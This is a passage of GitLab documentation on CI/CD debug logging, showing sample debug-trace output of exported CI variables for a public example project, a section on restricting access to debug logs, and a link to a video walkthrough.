ntegration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
810++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
811++ export CI_PROJECT_ID=17893
812++ CI_PROJECT_ID=17893
813++ export CI_PROJECT_NAME=ci-debug-trace
814++ CI_PROJECT_NAME=ci-debug-trace
815++ export CI_PROJECT_TITLE='GitLab FOSS'
816++ CI_PROJECT_TITLE='GitLab FOSS'
817++ export CI_PROJECT_PATH=gitlab-examples/ci-debug-trace
818++ CI_PROJECT_PATH=gitlab-examples/ci-debug-trace
819++ export CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace
820++ CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace
821++ export CI_PROJECT_NAMESPACE=gitlab-examples
822++ CI_PROJECT_NAMESPACE=gitlab-examples
823++ export CI_PROJECT_ROOT_NAMESPACE=gitlab-examples
824++ CI_PROJECT_ROOT_NAMESPACE=gitlab-examples
825++ export CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace
826++ CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace
827++ export CI_PROJECT_VISIBILITY=public
828++ CI_PROJECT_VISIBILITY=public
829++ export CI_PROJECT_REPOSITORY_LANGUAGES=
830++ CI_PROJECT_REPOSITORY_LANGUAGES=
831++ export CI_PROJECT_CLASSIFICATION_LABEL=
832++ CI_PROJECT_CLASSIFICATION_LABEL=
833++ export CI_DEFAULT_BRANCH=main
834++ CI_DEFAULT_BRANCH=main
835++ export CI_REGISTRY=registry.gitlab.com
836++ CI_REGISTRY=registry.gitlab.com
837++ export CI_API_V4_URL=https://gitlab.com/api/v4
838++ CI_API_V4_URL=https://gitlab.com/api/v4
839++ export CI_PIPELINE_IID=123
840++ CI_PIPELINE_IID=123
841++ export CI_PIPELINE_SOURCE=web
842++ CI_PIPELINE_SOURCE=web
843++ export CI_CONFIG_PATH=.gitlab-ci.yml
844++ CI_CONFIG_PATH=.gitlab-ci.yml
845++ export CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045
846++ CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045
847++ export CI_COMMIT_SHORT_SHA=dd648b2e
848++ CI_COMMIT_SHORT_SHA=dd648b2e
849++ export CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
850++ CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
851++ export CI_COMMIT_REF_NAME=main
852++ CI_COMMIT_REF_NAME=main
853++ export CI_COMMIT_REF_SLUG=main
854++ CI_COMMIT_REF_SLUG=main
855...
856```
857
858### Restrict access to debug logging
859
860> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7.
861> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8.
862
863You can restrict access to debug logging. When restricted, only users with
864[developer or higher permissions](../../user/permissions.md#project-members-permissions)
865can view job logs when debug logging is enabled with a variable in:
866
867- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
868- The CI/CD variables set in the GitLab UI.
869
870WARNING:
871If you add `CI_DEBUG_TRACE` as a local variable to runners, debug logs generate and are visible
872to all users with access to job logs. The permission levels are not checked by the runner,
873so you should only use the variable in GitLab itself.
874
875## Video walkthrough of a working example
876
877The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck)
878video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo)
879working example project. It explains how multiple levels of group CI/CD variables
880can be combined with environment-scoped project variables for complex configuration
881of application builds or deployments.
882
883The example can be copied to your own group or instance for testing. More details
884on what other GitLab CI patterns are demonstrated are available at the project page.
885